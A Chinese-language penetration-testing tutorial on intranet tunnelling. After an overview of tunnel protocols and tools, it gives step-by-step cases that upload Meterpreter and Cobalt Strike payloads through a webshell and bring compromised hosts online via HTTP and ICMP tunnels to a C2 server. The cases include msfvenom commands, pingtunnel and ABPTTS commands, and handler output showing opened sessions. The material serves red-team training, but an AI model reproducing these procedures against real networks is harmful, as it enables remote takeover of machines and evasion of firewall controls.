內網滲透之內網穿透
0x0 前言
網絡上關於內網穿透的文章很多,但大部分都是側重於工具的使用,原理提及較少。本文將從內網穿透的原理開始探討,根據不同的內網出網入網情況,靈活設計對應的內網穿透方案。
0x1 內網穿透原理
內網穿透是:利用各種隧道技術,以網絡防火牆允許的協議,繞過網絡防火牆的封鎖,實現訪問被封鎖的目標網絡。
什么是隧道技術呢?我們看一下百科詞條的解釋
隧道技術是一種通過使用互聯網絡的基礎設施在網絡之間傳遞數據的方式。使用隧道傳遞的數據(或負載)可以是不同協議的數據幀或包。隧道協議將這些其他協議的數據幀或包重新封裝在新的包頭中發送。新的包頭提供了路由信息,從而使封裝的負載數據能夠通過互聯網絡傳遞。被封裝的數據包在隧道的兩個端點之間通過公共互聯網絡進行路由。被封裝的數據包在公共互聯網絡上傳遞時所經過的邏輯路徑稱為隧道。一旦到達網絡終點,數據將被解包並轉發到最終目的地。注意隧道技術是指包括數據封裝、傳輸和解包在內的全過程。
我們進行內網滲透常用的隧道技術有dns隧道、http隧道、ssh隧道、icmp隧道等容易被網絡防火牆放行的協議。
這些隧道技術可以按所處的協議層分層。
- 網絡層隧道
ICMP隧道等
- 傳輸層隧道
TCP隧道、UDP隧道
- 應用層隧道
HTTP、DNS、SSH等隧道
內網主機所有可能的出網方式
- 允許ICMP協議出網
網絡防火牆允許ICMP協議出網,即能ping通外網主機,一般都能出網
- 允許特定的TCP或UDP協議端口出網
網絡防火牆允許特定的TCP或者UDP端口出網,比如連接外網的22、53、80、443、3389等常見應用的默認監聽端口。在一個不能出網的網絡環境里面,將所有的TCP和UPD端口都探測一遍,通常都能發現有一兩個常見的端口能出網。這通常是由於網絡管理員的錯誤配置和偷懶行為導致。比如配置的防火牆規則前后矛盾,解析的時候遇到匹配規則就退出執行;比如網絡管理員配置允許web服務器訪問另一子網的mysql數據庫的3306端口。網絡管理員配置時偷懶,可能會直接放行web服務器到任意ip地址的3306端口
-
允許特定的應用層協議出網(比如HTTP、SSH、DNS等應用層協議)
這種網絡防火牆能識別應用層的協議,放行允許出網的協議,比如HTTP、SSH、DNS、RDP等應用層協議;通常辦公網是允許HTTP協議出網的,可能會域名白名單限制
內網主機所有可能的入網方式 -
允許ICMP協議入網
能ping通目標主機
- 允許特定的TCP或UDP協議端口入網
NAT端口映射公網IP端口到內網主機的服務端口,比如將web服務、mysql服務NAT映射到公網
- 允許特定的應用層協議入網
這種網絡防火牆能識別應用層的協議,放行允許入網的協議。比如HTTP反向代理,將公網收到的HTTP流量反向代理進內網主機。當前主流的入網方式,通常會加層WAF審查入網流量
0x2 內網穿透常用工具
0x2.1 網絡層隧道工具
-
能通過ICMP協議反彈cmd,功能單一,反彈回來的cmd極不穩定,不推薦使用
-
創建虛擬網卡通過ICMP協議傳輸網卡流量,基於ICMP隧道的vpn,需要root權限,動靜極大,不推薦使用
-
tcp、udp、socks5 over ICMP,速度快,連接穩定,跨平台,client模式不需要管理員權限即可正常使用,推薦使用
0x2.2 傳輸層隧道工具
- netcat
網絡工具中的瑞士軍刀,不多介紹,linux系統一般自帶
- powercat
powershell版的netcat
- socat
具有記錄轉發流的功能,方便查看轉發內容,需要安裝
- netsh
windows系統自帶的網絡配置工具
- lcx
端口轉發工具
- NATBypass
一款lcx在golang下的實現,更好的跨平台,更完善的文檔
- iox
端口轉發 & 內網代理工具,功能類似於lcx/ew,簡化了命令行參數,支持UDP流量轉發,更好的跨平台。缺點:不支持監聽指定IP,默認監聽0.0.0.0:port,會增大暴露風險
0x2.3 應用層隧道工具
由於應用層協議極多,對應的隧道工具也很多,我們常用來做隧道的協議一般是DNS、HTTP、SSH、SOCKS等
- dnscat2
不僅可以創建DNS隧道,更是C2
- dnscat2-powershell
dnscat2的powershell客戶端
- dns2tcp
TCP over DNS,即通過DNS隧道轉發TCP連接
- iodine
IPv4 over DNS,即通過DNS隧道轉發IPv4數據包
- reGeorg
SOCKS over HTTP,即通過HTTP隧道轉發SOCKS
- Neo-reGeorg
重構版reGeorg,提高穩定性和可用性,避免特征檢測,更新活躍
- reDuh
TCP over HTTP,即通過HTTP隧道轉發TCP連接,隧道不穩定
- Tunna
TCP、SOCKS over HTTP,即通過HTTP隧道轉發TCP連接和SOCKS,隧道不穩定
- ABPTTS
TCP over HTTP,即通過HTTP隧道轉發TCP連接,數據加密,可自定義HTTP數據,對抗特征檢測十分優秀,創建的隧道十分穩定,比較遺憾的是支持的web腳本類型只有aspx和jsp
- EarthWorm
十分方便的多級SOCKS代理,已經永久停止更新
- Termite
EarthWorm的升級版,已經永久停止更新
- Venom
Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具。
- ssocks
正向和反向的socks工具,可執行文件的大小很小
- s5.go
go語言編寫的socks服務工具,良好的跨平台特性
- ssh
本地轉發:
遠程轉發:ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 #ssh客戶端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由服務端轉發到114.114.114.114:9999
動態轉發:ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 #ssh服務端監聽127.0.0.1:7777, 將收到的tcp數據包通過連接到192.168.1.1的ssh隧道轉發到ssh客戶端,再由ssh客戶端轉發到114.114.114.114:9999
構建ssh隧道的常用參數:ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1 # ssh客戶端監聽127.0.0.1:7777開啟socks服務,將收到的socks數據包通過連接到192.168.1.1的ssh隧道轉發到ssh服務端,再由ssh服務端轉發到目標地址
-C 壓縮傳輸,提高傳輸速度 -f 后台執行數據傳輸 -N 建立靜默連接 -g 允許遠程主機連接本地用於轉發的端口 -L 本地端口轉發 -R 遠程端口轉發 -D 動態轉發,即SOCKS代理 -p 指定ssh連接端口
0x3 實戰中的內網穿透案例
0x3.1 上線零出網的內網主機
實戰背景:獲取了webshell的主機位於內網,並且該內網主機icmp等網絡層協議不能出網,tcp和udp等傳輸層協議不能出網,dns、http等應用層協議也不能出網,唯一的數據通道是反向代理入網的web應用。
方案設計
利用反向代理入網的web應用所在的HTTP連接,構建正向的TCP over HTTP
隧道。通過這條隧道,我們可以向內網主機發起tcp連接。生成bind類型的payload,通過webshell上傳執行就會監聽一個端口,我們的遠控平台通過構建的TCP over HTTP
隧道,去連接監聽的端口即可上線。
能構建TCP over HTTP
的隧道的工具有ABPTTS、Tunna、reDuh
等,由於Tunna、reDuh
構建的tcp連接不穩定,這里選用ABPTTS
。
0x3.1.1 上線metasploit
1.通過正向的http隧道構建tcp連接
# 配置abptts運行環境
# 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端腳本
python abpttsfactory.py -o server
# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.10/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888
2.生成bind類型的payload,通過webshell上傳執行
# 這里的rhost和lport是轉發的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
3.啟動msf監聽,等待meterpreter執行上線
#這里的rhost和lport是abptts客戶端監聽的IP和端口,msf所在主機必須能訪問到這個IP和端口,這里msf和abptts在同一個主機上
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started bind TCP handler against 127.0.0.1:7777
[*] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400
meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin
0x3.1.2 上線cobaltstrike
由於cobaltstrike的bind類型的監聽器僅有beacon TCP和beacon SMB,並且都必須連接到父beacon,無法直接連接cobalstrike服務端,所以我們需要一個父beacon來中轉連接。
1.通過正向的http隧道構建tcp連接
# 配置abptts運行環境
# 注意windows安裝pycrypto庫需要先安裝依賴http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端腳本
python abpttsfactory.py -o server
# 上傳server端腳本到web服務器,客戶端運行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客戶端監聽127.0.0.1:7777,通過http://192.168.168.121/abptts.aspx這個http隧道,將tcp連接127.0.0.1:7777轉發到web服務器網絡下的127.0.0.1:8888
2.創建反向的listener
3.生成父beacon
4.上傳父beacon到abptts客戶端執行上線
5.創建payload為tcp beacon的listener
6.生成stageless的子beacon
7.將生成的子beacon通過webshell上傳執行
# 可以通過webshell查看網絡監聽,確保子beacon執行成功
netstat -ano | findstr 127.0.0.1:8888
8.在父beacon中連接abptts的監聽ip和端口
9.成功上線不能出網的webshell內網主機
0x3.2 上線僅icmp協議出網的內網主機
實戰背景:通過某種信道獲取了內網主機的shell,但是當前信道不適合做遠控的通信信道(比如站庫分離的網站,我們通過sql注入獲取了數據庫服務器的shell,但是數據庫服務器只有icmp協議可以出網),tcp和udp等傳輸層協議不能出網,dns、http等應用層協議也不能出網,只有icmp協議可以出網。
方案設計
icmp協議可以出網,可以利用icmp協議,構建反向的TCP over ICMP
隧道或者SOCKS over ICMP
隧道上線遠控平台。搭建隧道的工具使用pingtunnel,它能通過icmp隧道轉發tcp、udp、socks5連接。
0x3.2.1 icmp隧道轉發tcp上線metasploit
1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 該命令的意思是icmp客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777
3.生成反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
# 這里的lhost和lport為icmp客戶端監聽ip和端口
4.啟動msf監聽,等待meterpreter執行上線
# 這里的lhost和lport為icmp客戶端轉發到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:7777
meterpreter > getuid
Server username: DESKTOP-test0\admin
0x3.2.2 icmp隧道轉發socks上線metasploit
1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址
3.生成支持socks5代理的反向payload的meterpreter並上傳到ICMP隧道客戶端執行即可上線
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
4.啟動msf監聽,等待meterpreter執行上線
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 8443
lport => 8443
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
meterpreter > getuid
Server username: DESKTOP-test0\admin
0x3.2.3 icmp隧道轉發tcp上線cobaltstrike
1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:9999,通過連接到icmpserver_ip的icmp隧道,將127.0.0.1:9999收到的tcp數據包轉發到c2_server_ip:7777
# https host和https port(c2)為icmp隧道客戶端的監聽ip和端口
# https port(bind)為轉發目的地址的端口
4.生成反向payload的beacon
5.上傳生成的beacon到ICMP隧道客戶端執行,成功通過反向ICMP隧道上線
0x3.2.4 icmp隧道轉發socks上線cobaltstrike
1.准備好一個具有公網ip的服務器,root權限運行以下命令,啟動ICMP隧道服務端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客戶端(即需要通過ICMP隧道上線的主機)執行以下命令即可成功創建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 該命令的意思是icmp隧道客戶端監聽127.0.0.1:6688啟動socks5服務,通過連接到icmpserver_ip的icmp隧道,由icmpserver轉發socks5代理請求到目的地址
# 這里的代理可以是socks或者http
# 好像cobaltstrike不支持socks5代理,這里並不能成功上線
# 這里也可以使用http代理,不過需要工具將http代理轉為socks5代理,比如privoxy
4.選擇創建的listener生成beacon上傳到目標執行即可上線
0x4 總結
內網滲透中內網穿透的本質,無非是通過各種通信信道,無論是正向的還是反向的,實現傳輸層協議tcp/udp數據包的轉發,應用層協議都是基於傳輸層的協議實現的。比如ABPTTS + SOCKS服務 = reGeorg
內網滲透中的內網穿透的條件,能通過某種通信信道遠程代碼執行。如果能通過某種通信信道遠程代碼執行,一定可以通過這種通信信道實現tcp/udp數據包的轉發,即TCP/UDP over something
隧道。如果沒有現成的工具,可能需要我們自己開發。比如,通過sql注入獲取了shell,我們也可以利用這條通信信道轉發tcp/udp數據包,沒有現成的工具,需要我們開發工具而已,隧道客戶端將tcp/udp數據包封裝寫進數據庫,再由隧道服務端從數據庫中讀出封裝的數據包解包,發往對應地址即可